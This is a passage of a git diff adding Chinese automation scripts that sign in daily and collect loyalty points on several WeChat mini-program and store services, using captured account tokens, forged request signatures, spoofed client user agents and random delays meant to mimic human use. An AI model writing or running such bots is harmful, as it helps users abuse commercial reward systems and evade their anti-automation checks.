{ + console.log(str) + this.notifyStr += str + this.notifyStr += '\n' + } + logAndNotifyWithTime (str) { + let t = '[' + this.time('hh:mm:ss.S') + ']' + str + console.log(t) + this.notifyStr += t + this.notifyStr += '\n' + } + logWithTime (str) { + console.log('[' + this.time('hh:mm:ss.S') + ']' + str) + } + msg (e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))); + let h = ["", "============== 系统通知 =============="]; + h.push(e), + s && h.push(s), + i && h.push(i), + console.log(h.join("\n")) + } + getMin (a, b) { + return ((a < b) ? a : b) + } + getMax (a, b) { + return ((a < b) ? b : a) + } + padStr (num, length, padding = '0') { + let numStr = String(num) + let numPad = (length > numStr.length) ? (length - numStr.length) : 0 + let retStr = '' + for (let i = 0; i < numPad; i++) { + retStr += padding + } + retStr += numStr + return retStr; + } + json2str (obj, c, encodeUrl = false) { + let ret = [] + for (let keys of Object.keys(obj).sort()) { + let v = obj[keys] + if (v && encodeUrl) v = encodeURIComponent(v) + ret.push(keys + '=' + v) + } + return ret.join(c); + } + str2json (str, decodeUrl = false) { + let ret = {} + for (let item of str.split('&')) { + if (!item) continue; + let idx = item.indexOf('=') + if (idx == -1) continue; + let k = item.substr(0, idx) + let v = item.substr(idx + 1) + if (decodeUrl) v = decodeURIComponent(v) + ret[k] = v + } + return ret; + } + randomString (len, charset = 'abcdef0123456789') { + let str = ''; + for (let i = 0; i < len; i++) { + str += charset.charAt(Math.floor(Math.random() * charset.length)); + } + return str; + } + randomList (a) { + let idx = Math.floor(Math.random() * a.length) + return a[idx] + } + wait (t) { + return new Promise(e => setTimeout(e, t)) + } + done (t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + console.log(`\n${this.name} 运行结束,共运行了 ${s} 秒!`) + if (this.isSurge() || this.isQuanX() || this.isLoon()) $done(t) + } + }(name, env) +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/慕斯小程序签到/2026-05-14_musi_42ce9bc0.js b/脚本库/微信小程序/抓包版/慕斯小程序签到/2026-05-14_musi_42ce9bc0.js new file mode 100644 index 0000000..4b04005 --- /dev/null +++ b/脚本库/微信小程序/抓包版/慕斯小程序签到/2026-05-14_musi_42ce9bc0.js @@ -0,0 +1,266 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/musi.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/musi.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/musi.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 42ce9bc08cbded73578a5fe72b5aab0010573d1d627a78d13241fc35d8c0599c +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + + + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * * +------------------------------------------ +#Notice: +慕斯小程序签到 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:musi +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("慕斯小程序签到"); +const WeChatServer = require("./wcs.js"); +let ckName = `musi`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wx03527497c5369a2c', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.activedAuthToken = null + this.wcsid = this.user[0] + this.openId = null + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.activedAuthToken) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + + await this.getUserInfo() + await this.getJob() + if (!this.isSigned) { + await this.doSign() + } + } + async getUserToken(code) { + const timestamp = new Date().getTime(); + let options = { + method: 'POST', + url: `https://atom.musiyoujia.com/user/wechatlogin/applets`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': defaultUserAgent, + "api_client_code": "65", + "api_version": "1.0.0", + 'api_timestamp': timestamp, + 'api_token': '', + + 'api_sign': this.MD5_Encrypt(`api_client_code=65&api_version=1.0.0&api_timestamp=${timestamp}`)?.toUpperCase() + + } + , + data: + { + 'appId': 'wx03527497c5369a2c', + 'appType': 'WECHAT_MINI_PROGRAM', + 'code': '' + code, + 'systemCode': '65' + } + } + let { + data: result + } = await axios.request(options); + + if (result?.code == '0') { + this.openId = result.data.openId + this.activedAuthToken = result.data.token + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.activedAuthToken}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.msg}❌`) + } + } + + + + MD5_Encrypt(str) { + const crypto = require("crypto") + return crypto.createHash('md5').update(str).digest('hex'); + } + async getUserInfo() { + try { + const timestamp = new Date().getTime(); + let options = { + method: 'POST', + url: `https://atom.musiyoujia.com/member/wechatlogin/selectuserinfo`, + headers: { + 'Content-Type': 'application/json', + 'User-Agent': defaultUserAgent, + "api_client_code": "65", + "api_version": "1.0.0", + 'api_timestamp': timestamp, + 'api_token': this.activedAuthToken, + + 'api_sign': this.MD5_Encrypt(`api_client_code=65&api_version=1.0.0&api_timestamp=${timestamp}`)?.toUpperCase() + + }, + data: { "appId": "wx03527497c5369a2c", "appType": "WECHAT_MINI_PROGRAM", "openId": `${this.openId}` } + } + let { data: result } = await axios.request(options) + + + if (result?.msg === "success") { + this.valid = true; + this.customId = result?.data.resMemberInfo.memberId; + $.log(`账号[${this.index}] 查询个人信息成功,积分:${result?.data?.memberInfo?.pointInfo?.point}`) + } else { + $.log(`账号[${this.index}] 查询个人信息失败:${result?.msg || JSON.stringify(result)}`) + this.valid = false + } + + } catch (e) { + console.log(e) + } + } + + async getJob() { + try { + const timestamp = new Date().getTime(); + let options = { + method: "POST", + url: `https://atom.musiyoujia.com/member/memberbehavior/getBehaviorInfos`, + headers: { + 'Content-Type': 'application/json', + 'User-Agent': defaultUserAgent, + "api_client_code": "65", + "api_version": "1.0.0", + 'api_token': this.activedAuthToken, + + 'api_timestamp': timestamp, + 'api_sign': this.MD5_Encrypt(`api_token=${this.activedAuthToken}&api_client_code=65&api_version=1.0.0&api_timestamp=${timestamp}`)?.toUpperCase() + + }, + data: { "appId": "wx03527497c5369a2c", "appType": "WECHAT_MINI_PROGRAM", "behaviorIds": [1, 2, 10203, 10204, 10205, 5], "sourceChannel": "会员小程序", "source": `${this.customId}`, "openId": `${this.openId}` } + } + let { data: result } = await axios.request(options) + + if (result?.msg === "success") { + this.isSigned = result?.data[0].acts['每天已获得积分次数'] === 1; + $.log(`账号[${this.index}] 获取任务列表成功,${this.isSigned ? '已签到' : '未签到'}`) + } else { + $.log(`账号[${this.index}] 获取任务列表失败:${result?.msg || JSON.stringify(result)}`) + } + + } catch (e) { + console.log(e) + } + } + + async doSign() { + try { + const timestamp = new Date().getTime(); + const eventAttr2 = $.time('yyyy.MM.dd') + let options = { + method: 'POST', + url: `https://atom.musiyoujia.com/member/memberbehavior/add`, + headers: { + 'Content-Type': 'application/json', + 'User-Agent': defaultUserAgent, + "api_client_code": "65", + 'api_token': this.activedAuthToken, + "api_version": "1.0.0", + 'api_timestamp': timestamp, + 'api_sign': this.MD5_Encrypt(`api_token=${this.activedAuthToken}&api_client_code=65&api_version=1.0.0&api_timestamp=${timestamp}`)?.toUpperCase() + + }, + data: { "appId": "wx03527497c5369a2c", "appType": "WECHAT_MINI_PROGRAM", "osType": "windows", "model": "microsoft", "browser": "微信小程序", "platform": "1", "sourceType": "5", "sourceChannel": "会员小程序", "siteId": "", "visitorId": "", "deviceId": "", "spotId": "", "campaignId": "", "deviceType": "", "eventLabel": "", "eventValue": "", "eventAttr2": `${eventAttr2}`, "eventAttr3": "", "eventAttr4": "", "eventAttr5": "", "eventAttr6": "", "googleCampaignName": "", "googleCampaignSource": "", "googleCampaignMedium": "", "googleCampaignContent": "", "memberType": "DeRUCCI", "customId": `${this.customId}`, "locationUrl": "/pages/user/signIn", "url": "/pages/user/signIn", "pageTitle": "每日签到", "logType": "event", "behaviorIds": [1, 3], "eventCategory": "用户签到", "eventAction": "签到", "eventAttr1": 2, "openId": `${this.openId}` } + } + let { data: result } = await axios.request(options) + + if (result?.msg === "success") { + $.log(`账号[${this.index}] 签到成功,获得积分:${result?.data?.point}`) + } else { + $.log(`账号[${this.index}] 签到失败:${result?.msg || JSON.stringify(result)}`) + } + + } catch (e) { + console.log(e) + } + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/所有女生会员中心/2025-06-28_所有女生小程序_a6033b11.js b/脚本库/微信小程序/抓包版/所有女生会员中心/2025-06-28_所有女生小程序_a6033b11.js new file mode 100644 index 0000000..01a5b86 --- /dev/null +++ b/脚本库/微信小程序/抓包版/所有女生会员中心/2025-06-28_所有女生小程序_a6033b11.js @@ -0,0 +1,227 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%89%80%E6%9C%89%E5%A5%B3%E7%94%9F%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%89%80%E6%9C%89%E5%A5%B3%E7%94%9F%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Repo: jdqlscript/toulu +// # Path: 所有女生小程序.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: a6033b11f7c454dfe0d05787297d516e942a4777e10bf3258940fd1b548666c5 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn 860562056 +@Date: 2024.06.10 14.14 +@Description: 所有女生小程序 +------------------------------------------ +变量名wawo +变量值 https://7.wawo.cc/api/ 域名Headers请求头里面的authorization 去掉bearer 多账号&或换行或新建同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("所有女生会员中心"); +let ckName = `wawo`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user + $.ckStatus = true; + await getPoints() + await signInInfo() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function getPoints() { + const config = + { + url: 'https://7.wawo.cc/api/score/wx/score/queryAmount', + headers: { + "content-type": "application/json", + 'accept': '*/*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'authorization': 'bearer ' + $.token, + 'content-type': 'application/json', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'cross-site', + 'xweb_xhr': '1', + "referer": `https://servicewechat.com/wx7d1403fe84339669/1038/page-frame.html`, + "user-agent": `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555` + + } + } + let { data: result } = await Request(config) + + if (result?.code == "000") { + $.log(`账号当前积分[${result.data}]`) + } else { + $.log(`账号积分查询失败[${result.message}]`) + } +} +async function signInInfo() { + const config = + { + url: 'https://7.wawo.cc/api/activity/wx/task/sign/signMsg', + method: "POST", + headers: { + "content-type": "application/json", + 'accept': '*/*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'authorization': 'bearer ' + $.token, + 'content-type': 'application/json', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'cross-site', + 'xweb_xhr': '1', + "referer": `https://servicewechat.com/wx7d1403fe84339669/1038/page-frame.html`, + "user-agent": `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555` + + }, + data: JSON.stringify({ + "cardNo": "411886986591633408" + }) + } + let { data: result } = await Request(config) + + if (result?.code == "000") { + if (result.data.signed !== 1) { + $.log(`未签到 ===> 签到ing`) + await signIn() + } else { + $.log(`已签到 ===> 跳过签到`) + } + } else { + $.log(`获取签到信息失败[${result.message}]`) + } +} +async function signIn() { + const config = + { + url: 'https://7.wawo.cc/api/activity/wx/task/sign/signIn', + method: "POST", + headers: { + "content-type": "application/json", + 'accept': '*/*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'authorization': 'bearer ' + $.token, + 'content-type': 'application/json', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'cross-site', + 'xweb_xhr': '1', + "referer": `https://servicewechat.com/wx7d1403fe84339669/1038/page-frame.html`, + "user-agent": `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555` + + }, + data: JSON.stringify({}) + } + let { data: result } = await Request(config) + + if (result?.code == "000") { + $.log(`签到成功`) + } else { + $.log(`签到失败[${result.message}]`) + } +} + +async function done(taskId) { + const config = + { + url: 'https://7.wawo.cc/api/operate/wx/rewards/task/done?taskId=' + taskId, + method: "POST", + + headers: { + "content-type": "application/json", + 'accept': '*/*', + 'accept-language': 'zh-CN,zh;q=0.9', + 'authorization': 'bearer ' + $.token, + 'content-type': 'application/json', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'cross-site', + 'xweb_xhr': '1', + "referer": `https://servicewechat.com/wx7d1403fe84339669/1038/page-frame.html`, + "user-agent": `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555` + + }, + data: JSON.stringify({ "taskId": taskId }) + } + let { data: result } = await Request(config) + + if (result?.code == "000") { + $.log(`任务成功`) + } else { + $.log(`任务失败[${result.message}]`) + } +} + + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/植白说小程序/2026-04-09_zbs_478003ec.js b/脚本库/微信小程序/抓包版/植白说小程序/2026-04-09_zbs_478003ec.js new file mode 100644 index 0000000..f4e3eda --- /dev/null +++ b/脚本库/微信小程序/抓包版/植白说小程序/2026-04-09_zbs_478003ec.js @@ -0,0 +1,142 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/zbs.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/zbs.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/zbs.js +// # UploadedAt: 2026-04-09T11:12:26Z +// # SHA256: 478003ec8662f7437e94cebaf197f25ec6f0075b14d6588b881b713a003252ba +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 植白说小程序 +cron: 30 8 * * * +------------------------------------------ +#Notice: +变量名称:zbs +值抓取https://www.kozbs.com/demo 请求头x-dts-token + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("植白说小程序"); +let ckName = `zbs`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + + } + request(options) { + let baseHeraders = { + + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "x-dts-token": "" + this.token, + "xweb_xhr": "1", + + "User-Agent": defaultUserAgent, + } + options.headers = Object.assign(baseHeraders, options.headers) + return axios.request(options) + } + async run() { + + await this.signIn() + } + + async signIn() { + let options = { + method: 'GET', + url: "https://www.kozbs.com/demo/wx/home/sign?userId=", + headers: {}, + + }; + let { data: result } = await this.request(options); + if (result?.errno == '0') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `签到成功🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.errmsg}❌`) + } + + + + + } + async getPoints() { + let options = { + method: 'GET', + url: "https://www.kozbs.com/demo/wx/user/getUserIntegral?userId=", + headers: {}, + + }; + let { data: result } = await this.request(options); + if (result?.errno == '0') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `当前积分` + `${result.data.integer}🎉`); + } else { + $.log(`🌸账号[${this.index}] 获取积分-失败:${result.errmsg}❌`) + } + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} diff --git a/脚本库/微信小程序/抓包版/欢太商城/2025-06-28_欢太商城_2cc34369.py b/脚本库/微信小程序/抓包版/欢太商城/2025-06-28_欢太商城_2cc34369.py new file mode 100644 index 0000000..4e88c19 --- /dev/null +++ b/脚本库/微信小程序/抓包版/欢太商城/2025-06-28_欢太商城_2cc34369.py @@ -0,0 +1,586 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%AC%A2%E5%A4%AA%E5%95%86%E5%9F%8E.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%AC%A2%E5%A4%AA%E5%95%86%E5%9F%8E.py +# Repo: jdqlscript/toulu +# Path: 欢太商城.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 2cc34369f14bd3d325e4315947427cb7388d52cb812c3295e97f9f3b35f1cd04 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +""" +抓包欢太商城 +在check.sample.toml文件中填写cookie和useragent +check.sample.toml文件下载链接:https://raw.githubusercontent.com/3288588344/toulu/main/check.sample.toml +cron: 19 5,21 * * * +new Env('欢太商城'); +QQ频道:98do10s246 +自行安装依赖 +utils_tmp +json +re +time +requests +""" + + +import json +import re +import time + +import requests + +import utils_tmp +from notify_mtr import send +from utils import get_data + + +class Heytap: + def __init__(self, check_items): + self.check_items = check_items + self.client = None + self.session = requests.session() + self.log = "" + self.cookies = "cookie" + self.user_agent = "ua" + self.s_channel = "oppostore" + self.source_type = "505" # 初始化设置为505,会从cookie获取实际数据 + self.sa_distinct_id = "" + self.sa_device_id = "" + self.s_version = "" + self.brand = "iPhone" # 初始化设置为iPhone,会从cookie获取实际机型 + self.act_task = utils_tmp.act_list # 修改为从文件获取,避免更新代码后丢失原有活动配置 + self.if_draw = False # 初始化设置为False,会从配置文件获取实际设置 + + self.accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" + self.accept_encoding1 = "gzip, deflate, br" + self.accept_encoding2 = "gzip, deflate" + self.client_package = "com.oppo.store" + self.content_type1 = "application/x-www-form-urlencoded" + self.content_type2 = "application/x-www-form-urlencoded;charset=UTF-8" + self.host1 = "store.oppo.com" + self.host2 = "msec.opposhop.cn" + self.user_agent2 = "okhttp/3.12.12.200sp1" + + self.point_got = "任务完成!积分领取+" + self.point_err = "领取积分奖励出错!\n" + self.done_msg = "任务已完成\n" + self.err_msg = "错误,原因为: " + self.amount = "amount=" + + # 获取cookie里的一些参数,部分请求需要使用到 hss修改 + def get_cookie_data(self): + try: + app_param = re.findall("app_param=(.*?)}", self.cookies)[0] + "}" + app_param = json.loads(app_param) + self.sa_device_id = app_param["sa_device_id"] + self.brand = app_param["brand"] + self.sa_distinct_id = re.findall("sa_distinct_id=(.*?);", self.cookies)[0] + self.source_type = re.findall("source_type=(.*?);", self.cookies)[0] + self.s_version = re.findall("s_version=(.*?);", self.cookies)[0] + self.s_channel = re.findall("s_channel=(.*?);", self.cookies)[0] + except Exception as e: + print( + "获取Cookie部分数据失败,将采用默认设置,请检查Cookie是否包含s_channel,s_version,source_type,sa_distinct_id\n", + e, + ) + self.s_channel = "ios_oppostore" + self.source_type = "505" + + # 获取个人信息,判断登录状态 + def get_user_info(self): + flag = False + headers = { + "Host": "store.oppo.com", + "Accept": self.accept, + "Content-Type": self.content_type1, + "Connection": "keep-alive", + "User-Agent": self.user_agent, + "Accept-Language": "zh-cn", + "Accept-Encoding": self.accept_encoding1, + "cookie": self.cookies, + } + response = self.session.get( + 